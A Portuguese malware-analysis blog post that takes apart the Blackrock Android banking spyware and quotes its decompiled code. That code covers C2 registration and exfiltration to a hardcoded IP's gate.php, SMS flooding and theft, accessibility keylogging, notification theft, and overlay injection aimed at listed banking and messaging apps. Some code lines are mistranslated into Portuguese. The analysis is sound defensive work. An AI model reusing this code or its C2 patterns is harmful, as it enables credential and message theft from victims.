Detalhes do Aplicativo
Nome : Flash Player
Pacote : artwork.differ.kitchen
SHA256 Hash : a25bf4bdb2ed9872456af0057eb21ce31fd03d680d63a9da469519060b4814bc
Introdução
Ei aí! Bem-vindo ao sétimo blog da nossa série sobre Análise de Malware Móvel. Hoje, vamos mergulhar no Blackrock, um esperto spyware que recebe seus comandos de um servidor oculto. Este malware usa truques como manipulação das configurações de acessibilidade e golpes de phishing para roubar teclas digitadas e obter informações pessoais dos usuários.
Sem mais delongas, vamos começar a desmontar esta amostra maliciosa.
Análise
Aqui está o primeiro check de análise pelo Virustotal
Imagem de Referência: Verificação no Virustotal
Vamos abrir esta amostra em JADX para entender como ela funciona.
AndroidManifest.xml
Analisando essas permissões, podemos entender que o aplicativo usará nossos Contatos, Armazenamento Externo, Serviço de Acessibilidade, SMS e muito mais.
No que diz respeito aos componentes, exceto pela Subclasse do Aplicativo, nenhum dos componentes está disponível no disco, o que significa que eles devem ser carregados dinamicamente em tempo de execução.
Vamos verificar a carga dinâmica usando Medusa.
Aqui está a lista de scripts que podem ser usados para verificar o Dumping e Carregamento de Código Dex Dinâmico.
memory_dump/dump_dyndexmemory_dump/dump_dexcode_loading/load_classcode_loading/dynamic_code_loading
Imagem de Referência: Saída do Medusa
Pudemos ver um arquivo chamado wumso.json que está armazenado em /data/user/0/artwork.differ.kitchen/app_DynamicOptDex sendo carregado usando DexClassLoader e também vimos classes como security.sword.AlarmBroadCastReceiver, security.sword.Permission sendo carregadas.
Agora que temos nosso arquivo DEX, vamos começar nossa análise a partir de security.sword.MainActivity.
MainActivity
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
b.a().a(this);
startService(new Intent(this, CommandService.class));
ComponentName componentName = new ComponentName(this,MainActivity.class);
PackageManager packageManager = getPackageManager();
getPackageManager();
packageManager.setComponentEnabledSetting(componentName, 2, 1);
} catch (Exception e) {
e.printStackTrace();
}
finish();
}
} No método a(Context c), eles estão criando um PendingIntent para AlarmBroadcastReceiver e usam outro método auxiliar que usa AlarmManager para agendar o PendingIntent para ser executado após um atraso especificado.
Vamos verificar o funcionamento do AlarmBroadcastReceiver.
public class AlarmBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String name = getClass().getName();
Log.d(name, "time second : " + new Date().toString());
b.a().a(context);
if (!a(context, CommandService.class)) {
try {
context.startService(new Intent(context, CommandService.class));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
private boolean a(Context context, Class serviceClass) {
ActivityManager manager = (ActivityManager) context.getSystemService("activity");
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceClass.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
}
Sempre verifica se um serviço chamado CommandService está em execução ou não. Se não estiver, inicia esse serviço.
Voltando para MainActivity,
CommandServiceé iniciado- A utilização de
packageManager.setComponentEnabledSetting(``componentName, 2, 1);esconde o ícone do aplicativo. (Isso é bastante comum entre Malwares Android para manter persistência)
Agora vamos verificar CommandService.
CommandService
Começando de onStartCommand() , podemos ver o seguinte.
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("Test", "Service: onStartCommand");
try {
this.f205b = this;
f();
return 1;
} catch (Exception e) {
e.printStackTrace();
return 1;
}
A função f inicializa um Scheduler para executar o método c em intervalos regulares.
void c() {
String Accessibility;
String screen;
try {
this.f204a.getClass();
security.sword.a.b("26kozQaKwRuNJ24t", this.f204a.f270a);
this.f204a.getClass();
security.sword.a decrypted = security.sword.a.a("26kozQaKwRuNJ24t", "MzVBOEU4RUExNzdDNTA3NzN2d4aaiU2eCF7zGpaxGnZoCUs4ByC63zVz9mHieQqu");
String.valueOf(decrypted).equals(this.f204a.f270a);
} catch (Exception e) {
e.printStackTrace();
}
try {
boolean accessibilityServiceEnabled = a(this.f205b, AccesService.class);
if (!accessibilityServiceEnabled) {
Accessibility = "0";
try {
Handler handler = new Handler(Looper.getMainLooper());
handler.post(new a());
} catch (Exception e2) {
e2.printStackTrace();
}
} else {
Accessibility = "1";
if (Build.VERSION.SDK_INT >= 23 && !d()) {
Intent as = new Intent(this.f205b, Permission.class);
as.addFlags(268468224);
this.f205b.startActivity(as);
}
}
String IMEI = Settings.Secure.getString(getContentResolver(), "android_id");
KeyguardManager km = (KeyguardManager) getSystemService("keyguard");
boolean locked = km.inKeyguardRestrictedInputMode();
if (locked) {
screen = "0";
} else {
screen = "1";
}
String whitelist = "0";
if (Build.VERSION.SDK_INT >= 23) {
PowerManager powerManager = (PowerManager) getSystemService("power");
boolean inWhiteList = powerManager.isIgnoringBatteryOptimizations(getPackageName());
whitelist = inWhiteList ? "1" : "0";
}
String model = a(this);
String Log = String.format("{ \u0022action\u0022: \u0022reg\u0022, \u0022params\u0022: { \u0022imei\u0022: \"%s\",\u0022whitelist\u0022: \"%s\",\u0022model\u0022: \"%s\",\u0022Accessibility\u0022: \"%s\",\u0022screen\u0022: \"%s\"}}", IMEI, whitelist, model, Accessibility, screen);
new b(Log).execute(1);
if (Build.VERSION.SDK_INT >= 21) {
e();
}
} catch (Exception e3) {
e3.printStackTrace();
}
}Pudemos ver algumas classes e strings interessantes sendo usadas aqui.
Ao contrário do bloco try-catch inicial, que não era nada útil, precisamos anotar a classe f204a, que tinha variáveis de membro como,
public class d {
String f270a = "http://185.215.113.90/";
String[] f271b = {"com.leumi.leumiwallet", "com.westernunion.moneytransferr3app.es", "com.ubercab.eats", "com.kraken.trade", [..REDACTED..]};
String[] f272c = {"org.telegram.messenger", "com.viber.voip", "com.whatsapp", "com.whatsapp.w4b", "com.twitter.android", [..REDACTED..]};
String[] d = {"com.kms.free", "com.drweb", "com.eset.endpoint", "com.eset.parental", "com.eset.stagefrightdetector", [..REDACTED..]};
}
Obtemos uma URL HTTP que podemos considerar como nosso servidor C2C e alguns arrays que contêm nomes de pacotes de aplicativos famosos como Telegram, WhatsApp, Twitter etc.
Continuando com o método c da classe CommandService,
No próximo bloco try, ele verifica se o serviço de acessibilidade deste app está habilitado ou não e baseado nisso, o código é executado.
- Caso não esteja habilitado, então solicitará ao usuário que habilite.
- Caso esteja habilitado, criará uma intenção para a atividade
Permissione iniciará.
Depois disso, o código coleta informações como IMEI, se algum tipo de tela bloqueadora está sendo usada pelo dispositivo, lista de aplicativos cujos nomes de pacote correspondem ao array f271b da classe f204a que discutimos um pouco acima. Após adicionar essas informações em uma string formatada, ela é passada para a classe g que estende AsyncTask.
Vamos primeiro verificar o método doInBackground().
public String doInBackground(String... arg0) {
String Log = arg0[0];
try {
f277b.getClass();
a encrypted = a.b("26kozQaKwRuNJ24t", String.valueOf(Log));
String data = "data=" + encrypted.a();
String link = f277b.url + "gate.php";
URL url = new URL(link);
URLConnection conn = url.openConnection();
conn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
wr.write(data);
wr.flush();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuilder sb = new StringBuilder();
while (true) {
String line = reader.readLine();
if (line != null) {
sb.append(line);
} else {
return sb.toString();
}
}
} catch (Exception e) {
e.printStackTrace();
return "";
}
Pudemos ver que um objeto URLConnection é criado para a URL http://185.215.113.90/gate.php e a string que continha informações do nosso dispositivo está sendo enviada ao servidor C2C.
Analisando o método onPostExecute, ele basicamente obtém alguns comandos do servidor baseados nos quais o código é executado. Vamos dar uma olhada nessas comandos e nas ações realizadas.
public void onPostExecute(String result) {
super.onPostExecute(result);
if (result != null) {
try {
f275b.getClass();
a decrypted = a.a("26kozQaKwRuNJ24t", result);
JSONObject obj = new JSONObject(String.valueOf(decrypted.a()));
String action = obj.getString("action");
JSONObject params = obj.getJSONObject("params");
if (action.equals("Send_SMS")) {
try {
c.c(f274a, params);
} catch (Exception e) {
e.printStackTrace();
}
}
if (action.equals("Flood_SMS")) {
try {
c.a(f274a, params);
} catch (Exception e2) {
e.printStackTrace();
}
}
if (action.equals("StartPush")) {
try {
c.g(f274a);
} catch (Exception e) {
e.printStackTrace();
}
}
if (action.equals("StopPush")) {
try {
c.j(f274a);
} catch (Exception e) {
e.printStackTrace();
}
}
if (action.equals("Hide_Screen_Lock")) {
try {
c.d(f274a);
} catch (Exception e) {
e.printStackTrace();
}
}
if (action.equals("Unlock_Hide_Screen")) {
try {
c.l(f274a);
} catch (Exception e) {
e.printStackTrace();
Para este comando, o aplicativo recebe número de telefone e texto a partir de um JSONObject enviado pelo servidor conforme mostrado nas linhas 37 e 38 respectivamente.
Em seguida, envia a mensagem para o número correspondente usando sms.sendMultipartTextMesage().
Flood_SMS
Código: security.sword.c.a()
Código: security.sword.c.q [Runnable]
Funciona da mesma forma que Send_SMS, ou seja, recebe conteúdo de texto e número de telefone a partir do JSONObject enviado pelo servidor e envia uma mensagem para esse número de telefone. Mas aqui ele usa um SchedulerExecutorService para enviar mensagens a cada 5 segundos.
Download_SMS
Código: security.sword.c.c()
Na linha 104, podemos ver que o código usa o provedor de conteúdo do sistema content://sms.
Nas linhas 109, 110 e 111, usando um loop while, eles coletam informações como Corpo, Número de Telefone e se essa mensagem é uma saída ou entrada e enviam todas essas informações de volta ao servidor.
Código: security.sword.c.d()
Na linha 190, eles estão consultando o URI ContactsContract.CommonDataKinds.Phone.CONTENT_URI. Usando o cursor, ele está coletando os números de telefone em nossos contatos e envia uma mensagem usando sendTextMessage() com texto da mensagem fornecido pelo servidor na linha 186.
Change_SMS_Manager
Checa se este aplicativo está funcionando como o aplicativo SMS padrão. Aqui está a verificação.
boolean currentDefault = Telephony.Sms.getDefaultSmsPackage(this.f231a).equals(packageInfo.applicationInfo.packageName);
Caso contrário, inicia uma intenção solicitando ao usuário que selecione este aplicativo como o aplicativo padrão.
Código: security.sword.Smsmnd.a
StartKeyLogs
O objetivo final deste comando é coletar o conteúdo de texto presente na tela e enviá-lo ao servidor. (Seu funcionamento será discutido quando analisarmos o serviço de acessibilidade AccessService)
Inicialmente, este comando cria um arquivo chamado StartKeyLogs.txt no diretório /sdcard.
Código: security.sword.c.f()
StopKeyLogs
O objetivo final deste comando é parar de registrar eventos dos alvos.
Isso é feito deletando o arquivo StartKeyLogs.txt criado para o comando StartKeyLogs.
File filedel = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
filedel.delete();
Hide_Screen_Lock
O objetivo final deste comando é manter o dispositivo na tela inicial.
Igual ao StartKeyLogs, ele cria um arquivo chamado Screen_Lock.txt no diretório /sdcard.
Unlock_Hide_Screen
Deleta o arquivo Screen_Lock.txt do diretório /sdcard. Desbloqueando, assim, o dispositivo da tela inicial.
Profile
Cria um perfil de administração gerenciado para este aplicativo
Isto é feito iniciando a atividade Systems.
No Systems,
Código: security.sword.Systems
Nas linha 18, eles estão primeiro verificando se este aplicativo está registrado como o proprietário do perfil para o usuário.
Caso contrário, ele chama a função a, onde dependendo da versão do SDK, eles usam vários filtros de intent para solicitar que o usuário conceda privilégios de Profile Owner para este aplicativo.
Start_clean_Push
O objetivo final desta comando é descartar todas as notificações push. (Seu funcionamento será discutido quando analisarmos o AccessService.).
Inicialmente, este comando cria um arquivo chamado StartCleanPush.txt no diretório /sdcard.
Código: security.sword.c.h()
Stop_clean_Push
Para de descartar notificações push.
Isso é feito deletando o arquivo StartCleanPush.txt criado para o comando Start_clean_Push.
File filedel = new File(Environment.getExternalStorageDirectory() + "/StartCleanPush.txt");
filedel.delete();
Run_App
try {
App = params.getString("App");
} catch (Exception e2) {
e2.printStackTrace();
}
try {
Intent i2 = context.getPackageManager().getLaunchIntentForPackage(App);
context.startActivity(i2);
} catch (Exception e3) {
e3.printStackTrace();
}
Inicia o aplicativo cujo nome do pacote é fornecido pelo servidor.
Admin
Cria uma intent para iniciar a atividade Admin.
No Admin Activity,
try {
DevicePolicyManager mDPM = (DevicePolicyManager) getSystemService("device_policy");
ComponentName mDeviceAdmin = new ComponentName(this, Admins.class);
if (!mDPM.isAdminActive(mDeviceAdmin)) {
Intent intentt = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intentt.putExtra("android.app.extra.DEVICE_ADMIN", mDeviceAdmin);
intentt.putExtra("android.app.extra.ADD_EXPLANATION", "Para atualizar a versão");
startActivity(intentt);
}
} catch (Exception e) {
}
O objetivo é obter privilégios de Admin para este aplicativo usando android.app.action.ADD_DEVICE_ADMIN.
Agora que examinamos os comandos, se pensarmos novamente, assumimos que fornecemos o serviço de acessibilidade para este aplicativo e ele iniciou a atividade Permission. Vamos dar uma olhada nela.
Atividade de Permissões
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
if (Build.VERSION.SDK_INT >= 23) {
g();
return;
}
try {
PackageManager pm = getPackageManager();
List packages = pm.getInstalledApplications(128);
for (ApplicationInfo pInfo : packages) {
String str1 = pInfo.packageName;
if (Arrays.asList(this.f217a.f269b).contains(str1)) {
new e(this).execute(pInfo.packageName);
}
}
} catch (Exception e) {
e.printStackTrace();
}
finish();
}
No método g, eles solicitam permissões para READ_EXTERNAL_STORAGE, EQUEST_IGNORE_BATTERY_OPTIMIZATIONS, READ_CONTACTS e muito mais.
Caso analisemos o bloco try-catch, podemos ver que estão rodando um loop para verificar se o nome do pacote está presente na lista de nomes de pacotes pré-definidos. Se houver correspondência, a tarefa assíncrona e é executada.
public String doInBackground(String... arg0) {
String App = arg0[0];
try {
String PATH = this.f272b.getFilesDir().getAbsolutePath() + File.separator;
URL url = new URL(this.f271a.url + "public_image/" + App + ".zip");
HttpURLConnection c2 = (HttpURLConnection) url.openConnection();
c2.setRequestMethod("GET");
c2.connect();
FileOutputStream fos = this.f272b.openFileOutput(App + ".zip", 0);
InputStream is = c2.getInputStream();
byte[] buffer = new byte[16384];
while (true) {
int len1 = is.read(buffer);
if (len1 == -1) {
break;
}
fos.write(buffer, 0, len1);
}
fos.close();
is.close();
i.a(PATH + App + ".zip", PATH, "");
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
Pode-se observar que eles estão baixando um arquivo zip da URL que parece ser
http://185.215.113.90/<package_name>.zip e o salva em /data/user/0/artwork.differ.kitchen/files. Posteriormente, este arquivo zip é descompactado.
NOTA: Na época da escrita deste artigo, o servidor C2C estava fora do ar.
Agora vamos nos concentrar no AccessService, que é responsável por lidar com os eventos de acessibilidade.
AccessService
try {
if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
String str1 = String.format("%s", event.getPackageName());
if (!settings.getBoolean("injActive", false)) {
File fs = new File(getFilesDir().getAbsolutePath() + File.separator + str1);
if (fs.exists() && fs.isDirectory()) {
Intent as = new Intent(this, Inject.class).putExtra("str", str1);
as.addFlags(268468224);
startActivity(as);
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
No momento em que um aplicativo cria um AccessibilityEvent, se o nome do seu pacote estiver na lista de arrays f269b (que contém a lista de todos os aplicativos bancários populares), ele cria uma intenção para a atividade Inject com o nome do pacote como extra.
@Override
protected void onStart() {
super.onStart();
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("injActive", true);
editor.commit();
Intent intent = getIntent();
String appName = intent.getStringExtra("str");
String INJURL = getFilesDir().getAbsolutePath() + File.separator;
try {
this.f210a = new WebView(this);
this.f210a.getSettings().setJavaScriptEnabled(true);
this.f210a.setScrollBarStyle(0);
this.f210a.setWebChromeClient(new WebChromeClient());
this.f210a.addJavascriptInterface(new h(this, appName), "Android");
this.f210a.setWebViewClient(new a(this));
this.f210a.loadUrl("file:///" + INJURL + appName + "/index.html");
setContentView(this.f210a);
this.f210a.setWebViewClient(new b(appName));
} catch (Exception e) {
e.printStackTrace();
}
}
Pudemos observar que esta atividade possui um webview que carrega um script HTML a partir do diretório de arquivos deste aplicativo e, se lembrarmos corretamente, este aplicativo baixa um arquivo zip do servidor C2C e o salva no mesmo diretório de arquivos.
tente {
Arquivo f3 = new File(Environment.getExternalStorageDirectory() + "/inj.txt");
if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") && Arrays.asList(this.f198a.f270c).contains(String.format("%s", event.getPackageName()))) {
SharedPreferences settings2 = PreferenceManager.getDefaultSharedPreferences(this);
String str12 = String.format("%s", event.getPackageName());
if (!settings2.getBoolean("injActive", false) && !f3.exists() && !f3.isFile()) {
Intent as2 = new Intent(this, InjectCC.class).putExtra("str", str12);
as2.addFlags(268468224);
startActivity(as2);
}
}
} catch (Exception e2) {
e2.printStackTrace();
}
Neste bloco try-catch, como no bloco anterior, eles verificam se o nome do pacote do aplicativo que criou o evento está presente na matriz f270c (esta matriz contém nomes de pacotes de aplicativos de mensagens populares). Se estiver presente nesta matriz, ele cria uma intenção para a atividade InjectCC.
@Sobrescrever
protected void onStart() {
super.onStart();
SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("injActive", true);
editor.commit();
Intent intent = getIntent();
String appName = intent.getStringExtra("str");
try {
this.f213a = new WebView(this);
this.f213a.getSettings().setJavaScriptEnabled(true);
this.f213a.setScrollBarStyle(0);
this.f213a.setWebChromeClient(new WebChromeClient());
this.f213a.setBackgroundColor(0);
this.f213a.setLayerType(1, null);
this.f213a.addJavascriptInterface(new h(this, appName), "Android");
this.f213a.setWebViewClient(new a(this));
this.f213a.loadUrl("file:///android_asset/android/index.html");
private String a(AccessibilityEvent event) {
StringBuilder sb = new StringBuilder();
for (CharSequence s : event.getText()) {
sb.append(s);
}
return sb.toString();
}
File f11 = new File(Environment.getExternalStorageDirectory() + "/StartPush.txt");
if (f11.exists() && f11.isFile()) {
try {
String AndroidId = Settings.Secure.getString(getContentResolver(), "android_id");
if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
byte[] encrpt2 = new byte[0];
try {
encrpt = String.format("NOTIFICATION: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event)).getBytes("UTF-8");
} catch (UnsupportedEncodingException e3) {
e3.printStackTrace();
encrpt = encrpt2;
}
String base64 = Base64.encodeToString(encrpt, 2);
if (b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED")) {
String Log = String.format("{ "action": "pushlog", "params": { "imei": "%s", "type": "pushlog", "text": "%s" }}", AndroidId, base64);
new a(Log).execute(1);
}
}
return;
} catch (Exception e4) {
e4.printStackTrace();
}
}
Este comando primeiro verifica se StartPush.txt está presente ou não. Este bloco de código é executado quando um evento AccessibilityEvent do tipo TYPE_NOTIFICATION_STATE_CHANGED é gerado. Em seguida, usando a função a, ele coleta o conteúdo da notificação e envia para o servidor.
Hide_Screen_Lock
try {
File f32 = new File(Environment.getExternalStorageDirectory() + "/Screen_Lock.txt");
if (f32.exists() && f32.isFile()) {
performGlobalAction(2);
}
} catch (Exception e8) {
e8.printStackTrace();
}
Ao contrário da documentação do Android Developer, performGlobalAction() Executa uma ação global. Tal ação pode ser executada em qualquer momento, independentemente do aplicativo atual ou localização do usuário no aplicativo.
O valor do parâmetro ⇒ 2 denota a ação de ir para home.
Vamos olhar o código para segurança/sword/AccesService Vamos olhar StartKeyLogs.
private String a(AccessibilityEvent event) {
StringBuilder sb = new StringBuilder();
for (CharSequence s : event.getText()) {
sb.append(s);
}
return sb.toString();
}
File f7 = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
if (f7.exists() && f7.isFile()) {
try {
if (Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
String AndroidId2 = Settings.Secure.getString(getContentResolver(), "android_id");
if (String.format("%s", event.getPackageName()) != null && String.format("%s", a(event)) != null && String.format("%s", a(event)) != "") {
String Logs = String.format("KeyLogs: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event));
Log.v("AccesService", Logs);
byte[] encrpt3 = new byte[0];
try {
encrpt3 = Logs.getBytes("UTF-8");
} catch (UnsupportedEncodingException e10) {
e10.printStackTrace();
}
String base642 = Base64.encodeToString(encrpt3, 2);
String Log2 = String.format("{ \"action\": \"log\", \"params\": { \"imei\": \"%s\", \"type\": \"keylog\", \"text\": \"%s\" }}", AndroidId2, base642);
new b(Log2).execute(1);
}
return;
}
} catch (Exception e11) {
e11.printStackTrace();
}
}
Quando uma aplicação cria um AccessibilityEvent, se pertencer à lista de aplicações-alvo listadas pelo array f269b, usando event.getText(), ela coleta todo o conteúdo de texto presente na tela e exfiltra a informação para o servidor.
Em resumo, quando abrimos uma aplicação bancária como Coinbase e realizamos algum evento como um clique longo ou seleção de texto etc., isso dispara nossa aplicação. Em seguida, ela encontra a aplicação Coinbase e rouba o conteúdo na tela.
Aplicações-alvo
Aqui está a lista de algumas das aplicações-alvo.
Nome do App Package Name לאומי com.leumi.leumiwallet Western Union com.westernunion.moneytransferr3app.es Coinbase org.toshi Kraken com.kraken.trade Crypto payme.cryptopay.android Santander Argentina ar.com.santander.rio.mbanking Coinbase: Compre Bitcoin & Ether com.coinbase.android myRAMS au.com.rams.RAMS BitPay – Carteira de Bitcoin Segura com.bitpay.wallet Lloyds Bank Business Mobile Banking com.lloydsbank.businessmobile HSBC Mobile Banking com.htsu.hsbcpersonalbanking Garanti BBVA Cep Şifrematik biz.mobinex.android.apps.cep_sifrematik imo beta com.imo.android.imoimbeta Mercado Pago: conta digital om.mercadopago.wallet Kotak Mobile Banking App com.msf.kbank.mobile YONO Buisness com.sbi.SBAnywhereCorporate AU 0101 au.com.ubank.internetbanking
Conclusão
No final, as manobras secretas do Blackrock, explorando configurações de acessibilidade e usando táticas de phishing, representam uma ameaça séria à segurança móvel. Revelar suas estratégias enganosas ilumina a importância de defesas vigilantes. Imerga em nossa análise detalhada para fortalecer sua compreensão e defesas contra este sofisticado spyware. Fique informado, fique seguro.

